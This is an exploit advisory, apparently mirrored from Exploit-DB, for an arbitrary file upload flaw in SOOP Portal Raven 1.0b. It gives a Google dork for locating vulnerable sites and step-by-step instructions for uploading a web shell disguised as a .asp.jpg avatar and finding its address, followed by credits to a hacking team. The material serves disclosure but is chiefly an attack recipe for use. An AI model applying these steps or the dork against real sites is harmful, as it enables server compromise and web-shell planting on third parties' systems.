SOOP Portal Raven 1.0b – Arbitrary File Upload - 体验盒子

作者： Sun Army

日期： 2010-12-07

类别：

webapps

平台：

asp

来源：https://www.exploit-db.com/exploits/15703/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

# Exploit Title: SOOP Portal Raven 1.0b Remote Upload Shell Vulnerability

# Google Dork: "Powered by SOOP Portal Raven 1.0b"

# Date: 06-12-2010

# Author: Sun Army

# Version: Raven 1.0b

# Tested on: Win 2003

##################### Exploit ###################

#

#1.Register On Site

#

# 2.Shell Renamed to .asp.jpg( shell.asp.jpg)

#

# 3.Go This Page--> http://site/forum/register.asp?fpn=2

#

# 4. Brows And Upload SHell

#

#5. go http://site/forum/register.asp?fpn=2--> List Avatars--> Your

Personal

#Avatar--> select your Shell and View shell Address in text box

#

#Google Dork : ""Powered by SOOP Portal Raven 1.0b"

#

################################################

#Reported By Turk_Server

# Team

# MagicCoder,Plus,Mehdy007,BodyGuard,Nitrojen26,The-Mostafa

# KinG,Bl4ckl0rd,Turk_server

# Special Thanks : Farzad_Ho,R3dMind,rAbiN_hoOd,Falcon